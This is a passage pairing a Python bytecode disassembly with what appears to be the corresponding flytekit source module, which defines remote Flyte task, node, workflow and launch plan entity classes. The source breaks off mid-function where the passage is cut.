LOAD_FAST subworkflow_list LOAD_FAST task_list LOAD_FAST node_launch_plans LOAD_CONST ('id', 'nodes', 'metadata', 'metadata_defaults', 'interface', 'output_bindings', 'subworkflows', 'tasks', 'launch_plans') CALL_FUNCTION STORE_FAST wf LOAD_FAST node_map LOAD_FAST wf STORE_ATTR _node_map LOAD_FAST wf RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 UNPACK_SEQUENCE STORE_FAST _ STORE_FAST v LOAD_FAST v LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 UNPACK_SEQUENCE STORE_FAST _ STORE_FAST t LOAD_FAST t LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL FlyteTask LOAD_METHOD promote_from_model LOAD_FAST t CALL_METHOD RETURN_VALUE LOAD_CONST <code object <dictcomp> at 0x7fa6d46fe4b0, file "f.py", line 811> LOAD_CONST 'FlyteWorkflow.promote_from_closure.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST closure LOAD_ATTR sub_workflows GET_ITER CALL_FUNCTION STORE_FAST sub_workflows BUILD_MAP STORE_FAST tasks LOAD_FAST closure LOAD_ATTR tasks POP_JUMP_IF_FALSE LOAD_CLOSURE cls BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7fa6d46fec00, file "f.py", line 814> LOAD_CONST 'FlyteWorkflow.promote_from_closure.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST closure LOAD_ATTR tasks GET_ITER CALL_FUNCTION STORE_FAST tasks LOAD_DEREF cls LOAD_ATTR promote_from_model LOAD_FAST closure LOAD_ATTR primary LOAD_ATTR template LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_CONST ('base_model', 'sub_workflows', 'node_launch_plans', 'tasks') CALL_FUNCTION STORE_FAST flyte_wf LOAD_FAST closure LOAD_FAST flyte_wf STORE_ATTR _compiled_closure LOAD_FAST flyte_wf RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 22 STORE_FAST sw LOAD_FAST sw LOAD_ATTR template LOAD_FAST sw LOAD_ATTR template LOAD_ATTR id MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 28 STORE_FAST t LOAD_DEREF cls LOAD_METHOD _promote_task LOAD_FAST t LOAD_ATTR template CALL_METHOD LOAD_FAST t LOAD_ATTR template LOAD_ATTR id MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlyteLaunchPlan' STORE_NAME __qualname__ LOAD_CONST 'A class encapsulating a remote Flyte launch plan.' STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d46fe5d0, file "f.py", line 833> LOAD_CONST 'FlyteLaunchPlan.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fa6d46fedb0, file "f.py", line 841> LOAD_CONST 'FlyteLaunchPlan.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_CONST 'Optional[FlyteWorkflow]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object flyte_workflow at 0x7fa6d46fe300, file "f.py", line 845> LOAD_CONST 'FlyteLaunchPlan.flyte_workflow' MAKE_FUNCTION CALL_FUNCTION STORE_NAME flyte_workflow LOAD_NAME classmethod LOAD_CONST 'id_models.Identifier' LOAD_CONST '_launch_plan_models.LaunchPlanSpec' LOAD_CONST 'FlyteLaunchPlan' LOAD_CONST ('id', 'model', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_model at 0x7fa6d46feed0, file "f.py", line 849> LOAD_CONST 'FlyteLaunchPlan.promote_from_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_model LOAD_NAME property LOAD_CONST 'id_models.Identifier' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object id at 0x7fa6d46fec90, file "f.py", line 870> LOAD_CONST 'FlyteLaunchPlan.id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME id LOAD_NAME property LOAD_CONST 'bool' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_scheduled at 0x7fa6d46fe9c0, file "f.py", line 874> LOAD_CONST 'FlyteLaunchPlan.is_scheduled' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_scheduled LOAD_NAME property LOAD_CONST 'id_models.Identifier' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object workflow_id at 0x7fa6d46fe030, file "f.py", line 891> LOAD_CONST 'FlyteLaunchPlan.workflow_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME workflow_id LOAD_NAME property LOAD_CONST 'Optional[_interface.TypedInterface]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object interface at 0x7fa6d46feb70, file "f.py", line 895> LOAD_CONST 'FlyteLaunchPlan.interface' MAKE_FUNCTION CALL_FUNCTION STORE_NAME interface LOAD_NAME property LOAD_CONST 'id_models.ResourceType' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resource_type at 0x7fa6d46fef60, file "f.py", line 904> LOAD_CONST 'FlyteLaunchPlan.resource_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME resource_type LOAD_NAME property LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object entity_type_text at 0x7fa6d46fed20, file "f.py", line 908> LOAD_CONST 'FlyteLaunchPlan.entity_type_text' MAKE_FUNCTION CALL_FUNCTION STORE_NAME entity_type_text LOAD_CONST 'FlyteContext' LOAD_CONST ('ctx',) BUILD_CONST_KEY_MAP LOAD_CONST <code object compile at 0x7fa6d46fe0c0, file "f.py", line 912> LOAD_CONST 'FlyteLaunchPlan.compile' MAKE_FUNCTION STORE_NAME compile LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __repr__ at 0x7fa6d61dbf60, file "f.py", line 923> LOAD_CONST 'FlyteLaunchPlan.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL FlyteLaunchPlan LOAD_FAST self CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST args LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST id LOAD_FAST self STORE_ATTR _id LOAD_FAST id LOAD_ATTR name LOAD_FAST self STORE_ATTR _name LOAD_CONST None LOAD_FAST self STORE_ATTR _interface LOAD_CONST None LOAD_FAST self STORE_ATTR _flyte_workflow LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _name RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_workflow RETURN_VALUE LOAD_FAST cls LOAD_FAST id LOAD_FAST model LOAD_ATTR workflow_id LOAD_GLOBAL _interface_models LOAD_METHOD ParameterMap LOAD_FAST model LOAD_ATTR default_inputs LOAD_ATTR parameters CALL_METHOD LOAD_FAST model LOAD_ATTR fixed_inputs LOAD_FAST model LOAD_ATTR entity_metadata LOAD_FAST model LOAD_ATTR labels LOAD_FAST model LOAD_ATTR annotations LOAD_FAST model LOAD_ATTR auth_role LOAD_FAST model LOAD_ATTR raw_output_data_config LOAD_FAST model LOAD_ATTR max_parallelism LOAD_FAST model LOAD_ATTR security_context LOAD_CONST ('id', 'workflow_id', 'default_inputs', 'fixed_inputs', 'entity_metadata', 'labels', 'annotations', 'auth_role', 'raw_output_data_config', 'max_parallelism', 'security_context') CALL_FUNCTION STORE_FAST lp LOAD_FAST lp RETURN_VALUE LOAD_FAST self LOAD_ATTR _id RETURN_VALUE LOAD_FAST self LOAD_ATTR entity_metadata LOAD_ATTR schedule LOAD_ATTR cron_expression POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_ATTR entity_metadata LOAD_ATTR schedule LOAD_ATTR rate POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR entity_metadata LOAD_ATTR schedule LOAD_ATTR rate LOAD_ATTR value POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_ATTR entity_metadata LOAD_ATTR schedule LOAD_ATTR cron_schedule POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR entity_metadata LOAD_ATTR schedule LOAD_ATTR cron_schedule LOAD_ATTR schedule POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST False RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _workflow_id RETURN_VALUE LOAD_FAST self LOAD_ATTR _interface RETURN_VALUE LOAD_GLOBAL id_models LOAD_ATTR ResourceType LOAD_ATTR LAUNCH_PLAN RETURN_VALUE LOAD_CONST 'Launch Plan' RETURN_VALUE LOAD_FAST self LOAD_ATTR fixed_inputs LOAD_ATTR literals JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_FAST fixed_input_lits LOAD_FAST self LOAD_ATTR default_inputs LOAD_ATTR parameters JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_FAST default_input_params LOAD_GLOBAL create_and_link_node_from_remote LOAD_FAST ctx BUILD_TUPLE LOAD_FAST self LOAD_GLOBAL set LOAD_FAST fixed_input_lits LOAD_METHOD keys CALL_METHOD CALL_FUNCTION LOAD_GLOBAL set LOAD_FAST default_input_params LOAD_METHOD keys CALL_METHOD CALL_FUNCTION LOAD_CONST ('entity', '_inputs_not_allowed', '_ignorable_inputs') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_CONST 'FlyteLaunchPlan(ID: ' LOAD_FAST self LOAD_ATTR id FORMAT_VALUE LOAD_CONST ' Interface: ' LOAD_FAST self LOAD_ATTR interface FORMAT_VALUE LOAD_CONST ') - Spec ' LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __repr__ CALL_METHOD FORMAT_VALUE LOAD_CONST ')' BUILD_STRING RETURN_VALUE
""" This module contains shadow entities for all Flyte entities as represented in Flyte Admin / Control Plane. The goal is to enable easy access, manipulation of these entities. """ from __future__ import annotations from typing import Dict, List, Optional, Tuple, Union from flytekit import FlyteContext from flytekit.core import constants as _constants from flytekit.core import hash as _hash_mixin from flytekit.core import hash as hash_mixin from flytekit.core.promise import create_and_link_node_from_remote from flytekit.exceptions import system as _system_exceptions from flytekit.exceptions import user as _user_exceptions from flytekit.loggers import logger from flytekit.models import interface as _interface_models from flytekit.models import launch_plan as _launch_plan_model from flytekit.models import launch_plan as _launch_plan_models from flytekit.models import launch_plan as launch_plan_models from flytekit.models import task as _task_model from flytekit.models import task as _task_models from flytekit.models.admin.workflow import WorkflowSpec from flytekit.models.core import compiler as compiler_models from flytekit.models.core import identifier as _identifier_model from flytekit.models.core import identifier as id_models from flytekit.models.core import workflow as _workflow_model from flytekit.models.core import workflow as _workflow_models from flytekit.models.core.identifier import Identifier from flytekit.models.core.workflow import ( Node, WorkflowMetadata, WorkflowMetadataDefaults, ) from flytekit.models.interface import TypedInterface from flytekit.models.literals import Binding from flytekit.models.task import TaskSpec from flytekit.remote import interface as _interface from flytekit.remote import interface as _interfaces from flytekit.remote.remote_callable import RemoteEntity class FlyteTask(hash_mixin.HashOnReferenceMixin, RemoteEntity, TaskSpec): """A class encapsulating a remote Flyte task.""" def __init__( self, id, type, metadata, interface, custom, container=None, task_type_version: int = 0, config=None, should_register: bool = False, ): super(FlyteTask, self).__init__( template=_task_model.TaskTemplate( id, type, metadata, interface, custom, container=container, task_type_version=task_type_version, config=config, ) ) self._should_register = should_register @property def id(self): """ This is generated by the system and uniquely identifies the task. :rtype: flytekit.models.core.identifier.Identifier """ return self.template.id @property def type(self): """ This is used to identify additional extensions for use by Propeller or SDK. :rtype: Text """ return self.template.type @property def metadata(self): """ This contains information needed at runtime to determine behavior such as whether or not outputs are discoverable, timeouts, and retries. :rtype: TaskMetadata """ return self.template.metadata @property def interface(self): """ The interface definition for this task. :rtype: flytekit.models.interface.TypedInterface """ return self.template.interface @property def custom(self): """ Arbitrary dictionary containing metadata for custom plugins. :rtype: dict[Text, T] """ return self.template.custom @property def task_type_version(self): return self.template.task_type_version @property def container(self): """ If not None, the target of execution should be a container. :rtype: Container """ return self.template.container @property def config(self): """ Arbitrary dictionary containing metadata for parsing and handling custom plugins. :rtype: dict[Text, T] """ return self.template.config @property def security_context(self): return self.template.security_context @property def k8s_pod(self): return self.template.k8s_pod @property def sql(self): return self.template.sql @property def should_register(self) -> bool: return self._should_register @property def name(self) -> str: return self.template.id.name @property def resource_type(self) -> _identifier_model.ResourceType: return _identifier_model.ResourceType.TASK @property def entity_type_text(self) -> str: return "Task" @classmethod def promote_from_model(cls, base_model: _task_model.TaskTemplate) -> FlyteTask: t = cls( id=base_model.id, type=base_model.type, metadata=base_model.metadata, interface=_interfaces.TypedInterface.promote_from_model( base_model.interface ), custom=base_model.custom, container=base_model.container, task_type_version=base_model.task_type_version, ) if not base_model.id.is_empty: t._id = base_model.id return t class FlyteTaskNode(_workflow_model.TaskNode): """A class encapsulating a task that a Flyte node needs to execute.""" def __init__(self, flyte_task: FlyteTask): super(FlyteTaskNode, self).__init__(None) self._flyte_task = flyte_task @property def reference_id(self) -> id_models.Identifier: """A globally unique identifier for the task.""" return self._flyte_task.id @property def flyte_task(self) -> FlyteTask: return self._flyte_task @classmethod def promote_from_model(cls, task: FlyteTask) -> FlyteTaskNode: """ Takes the idl wrapper for a TaskNode, and returns the hydrated Flytekit object for it by fetching it with the FlyteTask control plane. """ return cls(flyte_task=task) class FlyteWorkflowNode(_workflow_model.WorkflowNode): """A class encapsulating a workflow that a Flyte node needs to execute.""" def __init__( self, flyte_workflow: FlyteWorkflow = None, flyte_launch_plan: FlyteLaunchPlan = None, ): if flyte_workflow and flyte_launch_plan: raise _system_exceptions.FlyteSystemException( "FlyteWorkflowNode cannot be called with both a workflow and a launchplan specified, please pick " f"one. workflow: {flyte_workflow} launchPlan: {flyte_launch_plan}", ) self._flyte_workflow = flyte_workflow self._flyte_launch_plan = flyte_launch_plan super(FlyteWorkflowNode, self).__init__( launchplan_ref=( self._flyte_launch_plan.id if self._flyte_launch_plan else None ), sub_workflow_ref=self._flyte_workflow.id if self._flyte_workflow else None, ) def __repr__(self) -> str: if self.flyte_workflow is not None: return f"FlyteWorkflowNode with workflow: {self.flyte_workflow}" return f"FlyteWorkflowNode with launch plan: {self.flyte_launch_plan}" @property def launchplan_ref(self) -> id_models.Identifier: """A globally unique identifier for the launch plan, which should map to Admin.""" return self._flyte_launch_plan.id if self._flyte_launch_plan else None @property def sub_workflow_ref(self): return self._flyte_workflow.id if self._flyte_workflow else None @property def flyte_launch_plan(self) -> FlyteLaunchPlan: return self._flyte_launch_plan @property def flyte_workflow(self) -> FlyteWorkflow: return self._flyte_workflow @classmethod def _promote_workflow( cls, wf: _workflow_models.WorkflowTemplate, sub_workflows: Optional[ Dict[Identifier, _workflow_models.WorkflowTemplate] ] = None, tasks: Optional[Dict[Identifier, FlyteTask]] = None, node_launch_plans: Optional[ Dict[Identifier, launch_plan_models.LaunchPlanSpec] ] = None, ) -> FlyteWorkflow: return FlyteWorkflow.promote_from_model( wf, sub_workflows=sub_workflows, node_launch_plans=node_launch_plans, tasks=tasks, ) @classmethod def promote_from_model( cls, base_model: _workflow_model.WorkflowNode, sub_workflows: Dict[id_models.Identifier, _workflow_model.WorkflowTemplate], node_launch_plans: Dict[ id_models.Identifier, _launch_plan_model.LaunchPlanSpec ], tasks: Dict[Identifier, FlyteTask], converted_sub_workflows: Dict[id_models.Identifier, FlyteWorkflow], ) -> Tuple[FlyteWorkflowNode, Dict[id_models.Identifier, FlyteWorkflow]]: if base_model.launchplan_ref is not None: return ( cls( flyte_launch_plan=FlyteLaunchPlan.promote_from_model( base_model.launchplan_ref, node_launch_plans[base_model.launchplan_ref], ) ), converted_sub_workflows, ) elif base_model.sub_workflow_ref is not None: if base_model.reference in sub_workflows: wf = None if base_model.reference not in converted_sub_workflows: wf = cls._promote_workflow( sub_workflows[base_model.reference], sub_workflows=sub_workflows, node_launch_plans=node_launch_plans, tasks=tasks, ) converted_sub_workflows[base_model.reference] = wf else: wf = converted_sub_workflows[base_model.reference] return cls(flyte_workflow=wf), converted_sub_workflows raise _system_exceptions.FlyteSystemException( f"Subworkflow {base_model.reference} not found." ) raise _system_exceptions.FlyteSystemException( "Bad workflow node model, neither subworkflow nor launchplan specified." ) class FlyteBranchNode(_workflow_model.BranchNode): def __init__(self, if_else: _workflow_model.IfElseBlock): super().__init__(if_else) @classmethod def promote_from_model( cls, base_model: _workflow_model.BranchNode, sub_workflows: Dict[id_models.Identifier, _workflow_model.WorkflowTemplate], node_launch_plans: Dict[ id_models.Identifier, _launch_plan_model.LaunchPlanSpec ], tasks: Dict[id_models.Identifier, FlyteTask], converted_sub_workflows: Dict[id_models.Identifier, FlyteWorkflow], ) -> Tuple[FlyteBranchNode, Dict[id_models.Identifier, FlyteWorkflow]]: block = base_model.if_else block.case._then_node, converted_sub_workflows = FlyteNode.promote_from_model( block.case.then_node, sub_workflows, node_launch_plans, tasks, converted_sub_workflows, ) for o in block.other: o._then_node, converted_sub_workflows = FlyteNode.promote_from_model( o.then_node, sub_workflows, node_launch_plans, tasks, converted_sub_workflows, ) else_node = None if block.else_node: else_node, converted_sub_workflows = FlyteNode.promote_from_model( block.else_node, sub_workflows, node_launch_plans, tasks, converted_sub_workflows, ) new_if_else_block = _workflow_model.IfElseBlock( block.case, block.other, else_node, block.error ) return cls(new_if_else_block), converted_sub_workflows class FlyteGateNode(_workflow_model.GateNode): @classmethod def promote_from_model(cls, model: _workflow_model.GateNode): return cls(model.signal, model.sleep, model.approve) class FlyteArrayNode(_workflow_model.ArrayNode): @classmethod def promote_from_model(cls, model: _workflow_model.ArrayNode): return cls( model._parallelism, model._node, model._min_success_ratio, model._min_successes, ) class FlyteNode(_hash_mixin.HashOnReferenceMixin, _workflow_model.Node): """A class encapsulating a remote Flyte node.""" def __init__( self, id, upstream_nodes, bindings, metadata, task_node: Optional[FlyteTaskNode] = None, workflow_node: Optional[FlyteWorkflowNode] = None, branch_node: Optional[FlyteBranchNode] = None, gate_node: Optional[FlyteGateNode] = None, array_node: Optional[FlyteArrayNode] = None, ): if ( not task_node and not workflow_node and not branch_node and not gate_node and not array_node ): raise _user_exceptions.FlyteAssertion( "An Flyte node must have one of task|workflow|branch|gate|array entity specified at once" ) self._flyte_task_node = task_node if task_node: self._flyte_entity = task_node.flyte_task elif workflow_node: self._flyte_entity = ( workflow_node.flyte_workflow or workflow_node.flyte_launch_plan ) else: self._flyte_entity = branch_node or gate_node or array_node super(FlyteNode, self).__init__( id=id, metadata=metadata, inputs=bindings, upstream_node_ids=[n.id for n in upstream_nodes], output_aliases=[], task_node=task_node, workflow_node=workflow_node, branch_node=branch_node, gate_node=gate_node, array_node=array_node, ) self._upstream = upstream_nodes @property def task_node(self) -> Optional[FlyteTaskNode]: return self._flyte_task_node @property def flyte_entity( self, ) -> Union[FlyteTask, FlyteWorkflow, FlyteLaunchPlan, FlyteBranchNode]: return self._flyte_entity @classmethod def _promote_task_node(cls, t: FlyteTask) -> FlyteTaskNode: return FlyteTaskNode.promote_from_model(t) @classmethod def _promote_workflow_node( cls, wn: _workflow_model.WorkflowNode, sub_workflows: Dict[id_models.Identifier, _workflow_model.WorkflowTemplate], node_launch_plans: Dict[ id_models.Identifier, _launch_plan_model.LaunchPlanSpec ], tasks: Dict[Identifier, FlyteTask], converted_sub_workflows: Dict[id_models.Identifier, FlyteWorkflow], ) -> Tuple[FlyteWorkflowNode, Dict[id_models.Identifier, FlyteWorkflow]]: return FlyteWorkflowNode.promote_from_model( wn, sub_workflows, node_launch_plans, tasks, converted_sub_workflows, ) @classmethod def promote_from_model( cls, model: _workflow_model.Node, sub_workflows: Optional[ Dict[id_models.Identifier, _workflow_model.WorkflowTemplate] ], node_launch_plans: Optional[ Dict[id_models.Identifier, _launch_plan_model.LaunchPlanSpec] ], tasks: Dict[id_models.Identifier, FlyteTask], converted_sub_workflows: Dict[id_models.Identifier, FlyteWorkflow], ) -> Tuple[Optional[FlyteNode], Dict[id_models.Identifier, FlyteWorkflow]]: node_model_id = model.id if id in {_constants.START_NODE_ID, _constants.END_NODE_ID}: logger.warning( f"Should not call promote from model on a start node or end node {model}" ) return None, converted_sub_workflows ( flyte_task_node, flyte_workflow_node, flyte_branch_node, flyte_gate_node, flyte_array_node, ) = ( None, None, None, None, None, ) if model.task_node is not None: if model.task_node.reference_id not in tasks: raise RuntimeError( f"Remote Workflow closure does not have task with id {model.task_node.reference_id}." ) flyte_task_node = cls._promote_task_node( tasks[model.task_node.reference_id] ) elif model.workflow_node is not None: flyte_workflow_node, converted_sub_workflows = cls._promote_workflow_node( model.workflow_node, sub_workflows, node_launch_plans, tasks, converted_sub_workflows, ) elif model.branch_node is not None: ( flyte_branch_node, converted_sub_workflows, ) = FlyteBranchNode.promote_from_model( model.branch_node, sub_workflows, node_launch_plans, tasks, converted_sub_workflows, ) elif model.gate_node is not None: flyte_gate_node = FlyteGateNode.promote_from_model(model.gate_node) elif model.array_node is not None: flyte_array_node = FlyteArrayNode.promote_from_model(model.array_node) else: raise _system_exceptions.FlyteSystemException( f"Bad Node model, neither task nor workflow detected, node: {model}" ) for model_input in model.inputs: if ( model_input.binding.promise is not None and model_input.binding.promise.node_id == _constants.START_NODE_ID ): model_input.binding.promise._node_id = _constants.GLOBAL_INPUT_NODE_ID return ( cls( id=node_model_id, upstream_nodes=[], # set downstream, model doesn't contain this information bindings=model.inputs, metadata=model.metadata, task_node=flyte_task_node, workflow_node=flyte_workflow_node, branch_node=flyte_branch_node, gate_node=flyte_gate_node, array_node=flyte_array_node, ), converted_sub_workflows, ) @property def upstream_nodes(self) -> List[FlyteNode]: return self._upstream @property def upstream_node_ids(self) -> List[str]: return list(sorted(n.id for n in self.upstream_nodes)) def __repr__(self) -> str: return f"Node(ID: {self.id})" class FlyteWorkflow(_hash_mixin.HashOnReferenceMixin, RemoteEntity, WorkflowSpec): """A class encapsulating a remote Flyte workflow.""" def __init__( self, id: id_models.Identifier, nodes: List[FlyteNode], interface, output_bindings, metadata, metadata_defaults, subworkflows: Optional[List[FlyteWorkflow]] = None, tasks: Optional[List[FlyteTask]] = None, launch_plans: Optional[ Dict[id_models.Identifier, launch_plan_models.LaunchPlanSpec] ] = None, compiled_closure: Optional[compiler_models.CompiledWorkflowClosure] = None, should_register: bool = False, ): for node in nodes: for upstream in node.upstream_nodes: if upstream.id is None: raise _user_exceptions.FlyteAssertion( "Some nodes contained in the workflow were not found in the workflow description. Please " "ensure all nodes are either assigned to attributes within the class or an element in a " "list, dict, or tuple which is stored as an attribute in the class." ) self._flyte_sub_workflows = subworkflows template_subworkflows = [] if subworkflows: template_subworkflows = [swf.template for swf in subworkflows] super(FlyteWorkflow, self).__init__( template=_workflow_models.WorkflowTemplate( id=id, metadata=metadata, metadata_defaults=metadata_defaults, interface=interface, nodes=nodes, outputs=output_bindings, ), sub_workflows=template_subworkflows, ) self._flyte_nodes = nodes self._tasks = tasks self._launch_plans = launch_plans self._compiled_closure = compiled_closure self._node_map = None self._name = id.name self._should_register = should_register @property def name(self) -> str: return self._name @property def flyte_tasks(self) -> Optional[List[FlyteTask]]: return self._tasks @property def should_register(self) -> bool: return self._should_register @property def flyte_sub_workflows(self) -> List[FlyteWorkflow]: return self._flyte_sub_workflows @property def entity_type_text(self) -> str: return "Workflow" @property def resource_type(self): return id_models.ResourceType.WORKFLOW @property def flyte_nodes(self) -> List[FlyteNode]: return self._flyte_nodes @property def id(self) -> Identifier: """ This is an autogenerated id by the system. The id is globally unique across Flyte. """ return self.template.id @property def metadata(self) -> WorkflowMetadata: """ This contains information on how to run the workflow. """ return self.template.metadata @property def metadata_defaults(self) -> WorkflowMetadataDefaults: """ This contains information on how to run the workflow. :rtype: WorkflowMetadataDefaults """ return self.template.metadata_defaults @property def interface(self) -> TypedInterface: """ Defines a strongly typed interface for the Workflow (inputs, outputs). This can include some optional parameters. """ return self.template.interface @property def nodes(self) -> List[Node]: """ A list of nodes. In addition, "globals" is a special reserved node id that can be used to consume workflow inputs """ return self.template.nodes @property def outputs(self) -> List[Binding]: """ A list of output bindings that specify how to construct workflow outputs. Bindings can pull node outputs or specify literals. All workflow outputs specified in the interface field must be bound in order for the workflow to be validated. A workflow has an implicit dependency on all of its nodes to execute successfully in order to bind final outputs. """ return self.template.outputs @property def failure_node(self) -> Node: """ Node failure_node: A catch-all node. This node is executed whenever the execution engine determines the workflow has failed. The interface of this node must match the Workflow interface with an additional input named "error" of type pb.lyft.flyte.core.Error. """ return self.template.failure_node @classmethod def get_non_system_nodes( cls, nodes: List[_workflow_models.Node] ) -> List[_workflow_models.Node]: return [ n for n in nodes if n.id not in {_constants.START_NODE_ID, _constants.END_NODE_ID} ] @classmethod def _promote_node( cls, model: _workflow_model.Node, sub_workflows: Optional[ Dict[id_models.Identifier, _workflow_model.WorkflowTemplate] ], node_launch_plans: Optional[ Dict[id_models.Identifier, _launch_plan_model.LaunchPlanSpec] ], tasks: Dict[id_models.Identifier, FlyteTask], converted_sub_workflows: Dict[id_models.Identifier, FlyteWorkflow], ) -> Tuple[Optional[FlyteNode], Dict[id_models.Identifier, FlyteWorkflow]]: return FlyteNode.promote_from_model( model, sub_workflows, node_launch_plans, tasks, converted_sub_workflows ) @classmethod def promote_from_model( cls, base_model: _workflow_models.WorkflowTemplate, sub_workflows: Optional[ Dict[Identifier, _workflow_models.WorkflowTemplate] ] = None, tasks: Optional[Dict[Identifier, FlyteTask]] = None, node_launch_plans: Optional[ Dict[Identifier, launch_plan_models.LaunchPlanSpec] ] = None, ) -> FlyteWorkflow: base_model_non_system_nodes = cls.get_non_system_nodes(base_model.nodes) node_map = {} converted_sub_workflows = {} for node in base_model_non_system_nodes: flyte_node, converted_sub_workflows = cls._promote_node( node, sub_workflows, node_launch_plans, tasks, converted_sub_workflows ) node_map[node.id] = flyte_node for n in base_model_non_system_nodes: current = node_map[n.id] for upstream_id in n.upstream_node_ids: upstream_node = node_map[upstream_id] current._upstream.append(upstream_node) subworkflow_list = [] if converted_sub_workflows: subworkflow_list = [v for _, v in converted_sub_workflows.items()] task_list = [] if tasks: task_list = [t for _, t in tasks.items()] wf = cls( id=base_model.id, nodes=list(node_map.values()), metadata=base_model.metadata, metadata_defaults=base_model.metadata_defaults, interface=_interfaces.TypedInterface.promote_from_model( base_model.interface ), output_bindings=base_model.outputs, subworkflows=subworkflow_list, tasks=task_list, launch_plans=node_launch_plans, ) wf._node_map = node_map return wf @classmethod def _promote_task(cls, t: _task_models.TaskTemplate) -> FlyteTask: return FlyteTask.promote_from_model(t) @classmethod def promote_from_closure( cls, closure: compiler_models.CompiledWorkflowClosure, node_launch_plans: Optional[ Dict[id_models, launch_plan_models.LaunchPlanSpec] ] = None, ): """ Extracts out the relevant portions of a FlyteWorkflow from a closure from the control plane. :param closure: This is the closure returned by Admin :param node_launch_plans: The reason this exists is because the compiled closure doesn't have launch plans. It only has subworkflows and tasks. Why this is unclear. If supplied, this map of launch plans will be """ sub_workflows = {sw.template.id: sw.template for sw in closure.sub_workflows} tasks = {} if closure.tasks: tasks = { t.template.id: cls._promote_task(t.template) for t in closure.tasks } flyte_wf = cls.promote_from_model( base_model=closure.primary.template, sub_workflows=sub_workflows, node_launch_plans=node_launch_plans, tasks=tasks, ) flyte_wf._compiled_closure = closure return flyte_wf class FlyteLaunchPlan( hash_mixin.HashOnReferenceMixin, RemoteEntity, _launch_plan_models.LaunchPlanSpec ): """A class encapsulating a remote Flyte launch plan.""" def __init__(self, id, *args, **kwargs): super(FlyteLaunchPlan, self).__init__(*args, **kwargs) self._id = id self._name = id.name self._interface = None self._flyte_workflow = None @property def name(self) -> str: return self._name @property def flyte_workflow(self) -> Optional[FlyteWorkflow]: return self._flyte_workflow @classmethod def promote_from_model( cls, id: id_models.Identifier, model: _launch_plan_models.LaunchPlanSpec ) -> FlyteLaunchPlan: lp = cls( id=id, workflow_id=model.workflow_id, default_inputs=_interface_models.ParameterMap( model.default_inputs.parameters ), fixed_inputs=model.fixed_inputs, entity_metadata=model.entity_metadata, labels=model.labels, annotations=model.annotations, auth_role=model.auth_role, raw_output_data_config=model.raw_output_data_config, max_parallelism=model.max_parallelism, security_context=model.security_context, ) return lp @property def id(self) -> id_models.Identifier: return self._id @property def is_scheduled(self) -> bool: if self.entity_metadata.schedule.cron_expression: return True elif ( self.entity_metadata.schedule.rate and self.entity_metadata.schedule.rate.value ): return True elif ( self.entity_metadata.schedule.cron_schedule and self.entity_metadata.schedule.cron_schedule.schedule ): return True else: return False @property def workflow_id(self) -> id_models.Identifier: return self._workflow_id @property def interface(self) -> Optional[_interface.TypedInterface]: """ The interface is not technically part of the admin.LaunchPlanSpec in the IDL, however the workflow ID is, and from the workflow ID, fetch will fill in the interface. This is nice because then you can __call__ the= object and get a node. """ return self._interface @property def resource_type(self) -> id_models.ResourceType: return id_models.ResourceType.LAUNCH_PLAN @property def entity_type_text(self) -> str: return "Launch Plan" def compile(self, ctx: FlyteContext, *args, **kwargs): fixed_input_lits = self.fixed_inputs.literals or {} default_input_params = self.default_inputs.parameters or {} return create_and_link_node_from_remote( ctx, entity=self, 